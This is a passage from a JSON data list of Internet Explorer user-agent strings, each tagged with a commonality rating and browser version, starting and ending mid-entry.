1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MDDR; IE0006_ver1;EN_US)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; Touch; MASMJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident\\/6.0; Touch)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; MANM; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident\\/7.0; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; Touch; MASMJS)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 4.01; Windows NT; MS Search 6.0 Robot)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; TBTE; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; MDDCJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; InfoPath.1; Hotbar 11.0.78.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; EIE10;ENUSWOL; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; MALC; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\\/5.0; BOIE9;ENUS)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident\\/6.0; MALC)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; CTL_IE11; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; TAJB; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; WinNT-EVI 19.12.2009; AskTbEPC\\/5.14.1.20007)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; BOIE8;ENUSBO0026)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident\\/6.0; EIE10;ENUSMSN)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; BRI\\/1; .NET4.0C; Tablet PC 2.0; BOIE9;ENUSSEM)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 3.5.21022; .NET4.0C; Media Center PC 5.0; SLCC1; Tablet PC 2.0; BRI\\/1; EIE10;ENUSWOL)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; A7F)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPNTDF)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident\\/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Win32)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; BOIE9;ENCA)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; msn OptimizedIE8;NLBE)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; ARM; Trident\\/7.0; Touch; rv:11.0; WPDesktop; Lumia 635) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; BOIE9;ENUSMSE)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; Touch; MAARJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; AmSavS)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.2)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; BRI\\/2; MAEM)\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.2; .NET4.0E; WebMoney Advisor)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; Touch; TBTE; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident\\/6.0; MASEJS)\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident\\/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SearchToolbar 1.2; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPDTDF; .NET4.0C; AskTbORJ\\/5.15.14.29495; BOIE9;ENUS)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; AskTbORJ\\/5.15.23.36191; MDDRJS)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\\/5.0; MALC)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; MATMJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; Touch; MATBJS)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; MALCJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; yie9; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; MS-RTC LM 8; TD_LCK_V80_01)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; MATPJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.5)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.11; Windows NT 6.1; Trident\\/5.0)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; ASJB; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 10.0; WOW64; Trident\\/7.0)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 3.5.21022; .NET4.0C; Media Center PC 5.0; SLCC1; Tablet PC 2.0; BRI\\/1; .NET4.0E; EIE10;ENUSWOL)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; MAARJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; NP08; .NET4.0C; AskTbORJ\\/5.15.25.36191; NP08; MAAU)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; SMJB; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3; MASMJS)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.3; WOW64; Trident\\/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; BRI\\/2; .NET4.0C; LEN2)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; BRI\\/2; MAGW)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; MAARJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; HPNTDFJS)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; Touch; MASPJS)\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.2; WOW64; Trident\\/8.0)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; BOIE9;FRBE)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/6.0; Touch; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; Tablet PC 2.0; HPDTDFJS)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; MAMIJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; TNJB; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/8.0)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; CMDTDF; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Windows; U; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET4.0C; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident\\/6.0; ARM; Touch; WPDesktop)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; MALC)\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50728)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.11; Windows NT 6.2; Trident\\/5.0)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; BRI\\/1; .NET4.0C; Zune 4.7; BOIE9;ENUS)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; AS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; studenthousing.com; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; MATP; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; EIE10;ENGBWOL; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; Trident\\/7.0; MDDCJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Zoom 3.6.0)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; MAMIJS)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident\\/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"5\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.22)\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.3; ARM; Trident\\/7.0; Touch; .NET4.0E; .NET4.0C; Tablet PC 2.0)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPNTDF; BRI\\/1; .NET4.0C; BRI\\/2)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident\\/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; Touch; MALNJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.3; WOW64; Trident\\/7.0)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/7.0; .NET4.0E; .NET4.0C; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; WebMoney Advisor)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; ARM; Trident\\/6.0; Touch)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (SAP NetWeaverBusinessClient; Windows NT 6.2; WOW64; Trident\\/7.0; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; FCTB100815; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; BRI\\/1; .NET4.0C; BRI\\/2; playbrytetoolbar_Playbryte)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/4.0; chromeframe\\/20.0.1132.47; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E; InfoPath.1)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\\/5.0; MAMD)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Win64; x64; Trident\\/7.0)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; Touch; MASMJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; Touch; MDDCJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; ARM; Trident\\/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 630) like 